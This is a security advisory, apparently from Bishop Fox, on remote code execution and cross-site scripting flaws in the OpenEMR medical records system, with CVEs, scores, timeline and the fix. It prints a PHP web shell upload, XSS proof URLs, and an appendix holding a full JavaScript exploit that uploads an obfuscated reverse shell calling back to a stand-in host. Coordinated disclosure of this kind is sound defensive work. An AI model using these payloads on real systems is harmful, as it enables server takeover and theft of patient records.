Gauge showing high severity reading

Share

ADVISORY SUMMARY

OpenEMR is a widely used open source medical records management tool. The latest version at the time of this research was 5.0.1(6), older versions are believed but unconfirmed to be affected.

Impact

The OpenEMR application is used globally to manage millions of patient records. Successful exploitation of the identified vulnerabilities would lead to server compromise and would allow an administrative attacker to execute code on the underlying server. In both situations, sensitive patient information would be at risk.

High & Medium Risk Levels

Affected Vendor

Product Vendor

Product Name

Affected Version

OpenEMR OpenEMR EHR 5.0.1(6)

 Vulnerabilities List:

  • ARBITRARY REMOTE CODE EXECUTION
  • CROSS-SITE SCRIPTING

Solution

Update to the latest version - version 5.0.2. 

Credits

Chris Davis, Security Analyst, Bishop Fox - [email protected]

Timeline

  1. 02/17/2019: Initial discovery
  2. 02/21/2019: Contact with vendor
  3. 09/10/2019: Coordinated publication

VULNERABILITIES

Arbitrary Remote Code Execution

The OpenEMR application is affected by one instance of remote code execution (RCE) that would allow attackers to execute arbitrary code. The vulnerability could be exploited by administrative users, leading to complete server compromise.

CVE ID

Security Risk

Impact

Access Vector

CVE-2019-8371 High Code Execution Remote


Further Details

  • Vulnerability: CWE-94
  • CVSS Base Score: 9.1
  • CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Administrative users could modify files within the OpenEMR application web root by using the Administration File Management functionality, which allowed PHP code to be added to the files to create custom letter templates. To gain command execution on the web server a PHP web shell was uploaded, as shown below:

POST /openemr/interface/super/manage_site_files.php HTTP/1.1
Host: localhost
…omitted for brevity…
-----------------------------466827610997816061597388451
Content-Disposition: form-data; name="form_filename"

letter_templates/custom_pdf.php
-----------------------------466827610997816061597388451
Content-Disposition: form-data; name="form_filedata"

<?php
if (!empty($_POST['cmd'])) {
    $cmd = shell_exec($_POST['cmd']);
}
?>
…omitted for brevity… Figure 1 - PHP Web shell upload

Figure 1 - PHP Web shell upload

Uploading a PHP web shell found at https://github.com/artyuum/Simple-PHP-Web-Shell and navigating to the affected /openemr/sites/default/letter_templates/custom_pdf.php endpoint allowed system commands to be executed on the underlying server, as shown below:

Bishop Fox Security Advisory OpenEMR Figure 2 - PHP web shell

Figure 2 - PHP web shell

The commands executed on the application server from the context of the www-data user.

Cross-Site Scripting

The OpenEMR application is affected by several instances of reflected cross-site scripting (XSS) that would allow attackers to execute arbitrary JavaScript. The vulnerability could be exploited to affect administrative users, leading to complete server compromise. The walkthrough below uses one payload to execute arbitrary code on the server. The exploit code is included in the appendix at the end of this advisory.

CVE ID

Security Risk

Impact

Access Vector

CVE-2019-8368 Medium Code execution Remote

Further Details

  • Vulnerability: CWE-79
  • CVSS Base Score: 6.1
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Instances of reflected cross-site scripting that led to remote code execution (RCE) were found within the OpenEMR application. Enticing an administrative user to click a malicious link would trigger the XSS. This was demonstrated at the facility_admin.php endpoint by sending the following GET request:

GET 
/openemr/interface/usergroup/facility_admin.php?fid=xss%22%3E%3Cscript%20src=%22http://
evil.support:8000/expoit.js%22%3E%3C/script%3E HTTP/1.1/

Figure 3 JavaScript payload sent to the server

The initial JavaScript payload executed within the OpenEMR application origin, loading and executing exploit.js, a JavaScript file that uploaded a PHP reverse shell and executed it, as shown below:

OpenEMR image

Figure 4 Reverse shell connection 

An unauthenticated attacker could exploit this vulnerability to entice an administrative user to click the maliciously crafted link, which would grant server access to the attacker.

Additional Locations:

http://localhost/openemr/interface/super/rules/library/RulesPlanMappingEventHandlers_ajax.php?action=getPlanStatus&plan_id=%3cimg%20src%3da%20onerror%3dalert(1)%3e
http://localhost/openemr/interface/main/onotes/office_comments_full.php?
active=%20onmouseover%3dalert(1)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20xss&offset=10
http://localhost/openemr/library/dicom_frame.php?web_path=x'%3e%3cscript%3ealert(1</span><span style="font-size:16px;">)%3c%2fscript%3e

Appendix A - Exploit Code

XSS Exploit Code to Gain Remote Code Execution (RCE)

An attacker could use the following payload to obtain a reverse shell:

// XSS to RCE payload
// Function to retrieve CSRF Token
getCsrfToken = async () => {
    const xhr = new XMLHttpRequest();
    xhr.responseType = "document";
    xhr.open("GET", "/openemr/interface/super/manage_site_files.php", true);
    xhr.onreadystatechange = async (e) => {
        if (xhr.readyState === 4 && xhr.status === 200){
            doc = xhr.response;
            const csrfToken = doc.getElementsByName("csrf_token_form")[0].value
            uploadShell(csrfToken);
            console.log(csrfToken);
            }
    };
    xhr.send();
}

// Function to upload php reverse shell code
uploadShell = async (csrfToken) =>{
    var formdata = new FormData();
    formdata.append("form_filename", "letter_templates/custom_pdf.php");
    /*generated with msfvenom -p php/reverse_php lhost=evil.support lport=1337
    Base64 encoded to avoid issues with special charectors */
    const shell ="<?php 
eval(base64_decode('ICAvKjw/cGhwIC8qKi8KICAgICAgQGVycm9yX3JlcG9ydGluZygwKTsKICAgICAgQHNldF90aW1lX2xpbWl0KDApOyBAaWdub3JlX3VzZXJfYWJvcnQoMSk7IEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOwogICAgICAkZGlzPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwogICAgICBpZighZW1wdHkoJGRpcykpewogICAgICAgICRkaXM9cHJlZ19yZXBsYWNlKCcvWywgXSsvJywgJywnLCAkZGlzKTsKICAgICAgICAkZGlzPWV4cGxvZGUoJywnLCAkZGlzKTsKICAgICAgICAkZGlzPWFycmF5X21hcCgndHJpbScsICRkaXMpOwogICAgICB9ZWxzZXsKICAgICAgICAkZGlzPWFycmF5KCk7CiAgICAgIH0KCiAgICAkaXBhZGRyPSdldmlsLnN1cHBvcnQnOwogICAgJHBvcnQ9MTMzNzsKCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdRaHdnQVlDS0MnKSl7CiAgICAgIGZ1bmN0aW9uIFFod2dBWUNLQygkYyl7CiAgICAgICAgZ2xvYmFsICRkaXM7CgogICAgICBpZiAoRkFMU0UgIT09IHN0cnBvcyhzdHJ0b2xvd2VyKFBIUF9PUyksICd3aW4nICkpIHsKICAgICAgICAkYz0kYy4iIDI+JjFcbiI7CiAgICAgIH0KICAgICAgJEVDZkJxUj0naXNfY2FsbGFibGUnOwogICAgICAkYXBJZGFTWD0naW5fYXJyYXknOwoKICAgICAgaWYoJEVDZkJxUigncGFzc3RocnUnKWFuZCEkYXBJZGFTWCgncGFzc3RocnUnLCRkaXMpKXsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIHBhc3N0aHJ1KCRjKTsKICAgICAgICAkbz1vYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9lbmRfY2xlYW4oKTsKICAgICAgfWVsc2UKICAgICAgaWYoJEVDZkJxUigncHJvY19vcGVuJylhbmQhJGFwSWRhU1goJ3Byb2Nfb3BlbicsJGRpcykpewogICAgICAgICRoYW5kbGU9cHJvY19vcGVuKCRjLGFycmF5KGFycmF5KCdwaXBlJywncicpLGFycmF5KCdwaXBlJywndycpLGFycmF5KCdwaXBlJywndycpKSwkcGlwZXMpOwogICAgICAgICRvPU5VTEw7CiAgICAgICAgd2hpbGUoIWZlb2YoJHBpcGVzWzFdKSl7CiAgICAgICAgICAkby49ZnJlYWQoJHBpcGVzWzFdLDEwMjQpOwogICAgICAgIH0KICAgICAgICBAcHJvY19jbG9zZSgkaGFuZGxlKTsKICAgICAgfWVsc2UKICAgICAgaWYoJEVDZkJxUignZXhlYycpYW5kISRhcElkYVNYKCdleGVjJywkZGlzKSl7CiAgICAgICAgJG89YXJyYXkoKTsKICAgICAgICBleGVjKCRjLCRvKTsKICAgICAgICAkbz1qb2luKGNocigxMCksJG8pLmNocigxMCk7CiAgICAgIH1lbHNlCiAgICAgIGlmKCRFQ2ZCcVIoJ3NoZWxsX2V4ZWMnKWFuZCEkYXBJZGFTWCgnc2hlbGxfZXhlYycsJGRpcykpewogICAgICAgICRvPXNoZWxsX2V4ZWMoJGMpOwogICAgICB9ZWxzZQogICAgICBpZigkRUNmQnFSKCdzeXN0ZW0nKWFuZCEkYXBJZGFTWCgnc3lzdGVtJywkZGlzKSl7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBzeXN0ZW0oJGMpOwogICAgICAgICRvPW9iX2dldF9jb250ZW50cygpOwogICAgICAgIG9iX2VuZF9jbGVhbigpOwogICAgICB9ZWxzZQogICAgICBpZigkRUNmQnFSKCdwb3BlbicpYW5kISRhcElkYVNYKCdwb3BlbicsJGRpcykpewogICAgICAgICRmcD1wb3BlbigkYywncicpOwogICAgICAgICRvPU5VTEw7CiAgICAgICAgaWYoaXNfcmVzb3VyY2UoJGZwKSl7CiAgICAgICAgICB3aGlsZSghZmVvZigkZnApKXsKICAgICAgICAgICAgJG8uPWZyZWFkKCRmcCwxMDI0KTsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgQHBjbG9zZSgkZnApOwogICAgICB9ZWxzZQogICAgICB7CiAgICAgICAgJG89MDsKICAgICAgfQoKICAgICAgICByZXR1cm4gJG87CiAgICAgIH0KICAgIH0KICAgICRub2Z1bmNzPSdubyBleGVjIGZ1bmN0aW9ucyc7CiAgICBpZihpc19jYWxsYWJsZSgnZnNvY2tvcGVuJylhbmQhaW5fYXJyYXkoJ2Zzb2Nrb3BlbicsJGRpcykpewogICAgICAkcz1AZnNvY2tvcGVuKCJ0Y3A6Ly9ldmlsLnN1cHBvcnQiLCRwb3J0KTsKICAgICAgd2hpbGUoJGM9ZnJlYWQoJHMsMjA0OCkpewogICAgICAgICRvdXQgPSAnJzsKICAgICAgICBpZihzdWJzdHIoJGMsMCwzKSA9PSAnY2QgJyl7CiAgICAgICAgICBjaGRpcihzdWJzdHIoJGMsMywtMSkpOwogICAgICAgIH0gZWxzZSBpZiAoc3Vic3RyKCRjLDAsNCkgPT0gJ3F1aXQnIHx8IHN1YnN0cigkYywwLDQpID09ICdleGl0JykgewogICAgICAgICAgYnJlYWs7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAkb3V0PVFod2dBWUNLQyhzdWJzdHIoJGMsMCwtMSkpOwogICAgICAgICAgaWYoJG91dD09PWZhbHNlKXsKICAgICAgICAgICAgZndyaXRlKCRzLCRub2Z1bmNzKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ3cml0ZSgkcywkb3V0KTsKICAgICAgfQogICAgICBmY2xvc2UoJHMpOwogICAgfWVsc2V7CiAgICAgICRzPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7CiAgICAgIEBzb2NrZXRfY29ubmVjdCgkcywkaXBhZGRyLCRwb3J0KTsKICAgICAgQHNvY2tldF93cml0ZSgkcywic29ja2V0X2NyZWF0ZSIpOwogICAgICB3aGlsZSgkYz1Ac29ja2V0X3JlYWQoJHMsMjA0OCkpewogICAgICAgICRvdXQgPSAnJzsKICAgICAgICBpZihzdWJzdHIoJGMsMCwzKSA9PSAnY2QgJyl7CiAgICAgICAgICBjaGRpcihzdWJzdHIoJGMsMywtMSkpOwogICAgICAgIH0gZWxzZSBpZiAoc3Vic3RyKCRjLDAsNCkgPT0gJ3F1aXQnIHx8IHN1YnN0cigkYywwLDQpID09ICdleGl0JykgewogICAgICAgICAgYnJlYWs7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAkb3V0PVFod2dBWUNLQyhzdWJzdHIoJGMsMCwtMSkpOwogICAgICAgICAgaWYoJG91dD09PWZhbHNlKXsKICAgICAgICAgICAgQHNvY2tldF93cml0ZSgkcywkbm9mdW5jcyk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAc29ja2V0X3dyaXRlKCRzLCRvdXQsc3RybGVuKCRvdXQpKTsKICAgICAgfQogICAgICBAc29ja2V0X2Nsb3NlKCRzKTsKICAgIH0K\'))?>"
      // Appends shell code and needed data to the upload form
    var blob = new Blob([], {type: "application/octet-stream"});
    formdata.append("form_filedata", shell);
    formdata.append("MAX_FILE_SIZE", "12000000");
    formdata.append("form_image", blob, "")
    formdata.append("form_dest_filename", "")
    formdata.append("form_education", blob, "")
      // Appends CSRF token to the form
    formdata.append("csrf_token_form", csrfToken);
    formdata.append("bn_save", "Save");

      // Sends the Form upload
    const xhr = new XMLHttpRequest();
    xhr.open("POST", "/openemr/interface/super/manage_site_files.php", true);
    xhr.onreadystatechange = async (e) => {
        if (xhr.readyState === 4 && xhr.status === 200){
            revShellGo();
        }
    };
    xhr.send(formdata);
}
// Calls the endpoint where the shell code is stored to execute
revShellGo = async () => {
    const xhr = new XMLHttpRequest();
    xhr.open("GET", "/openemr/sites/default/letter_templates/custom_pdf.php", true);
    xhr.send();
}
getCsrfToken();

FIGURE 5 - Contents of exploit.js

Subscribe to Bishop Fox's Security Blog

Be first to learn about latest tools, advisories, and findings.


Chris davis

About the author, Chris Davis

Senior Security Consultant

Chris Davis is a Senior Security Consultant at Bishop Fox. His areas of expertise are application penetration testing (static and dynamic) and external network penetration testing.

Chris actively conducts independent security research and has been credited with the discovery of 40 CVEs (including CVE-2019-7551 and CVE-2018-17150) on enterprise-level, highly distributed software. The vulnerabilities he identified included remote code execution and cross-site scripting (XSS).
More by Chris

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.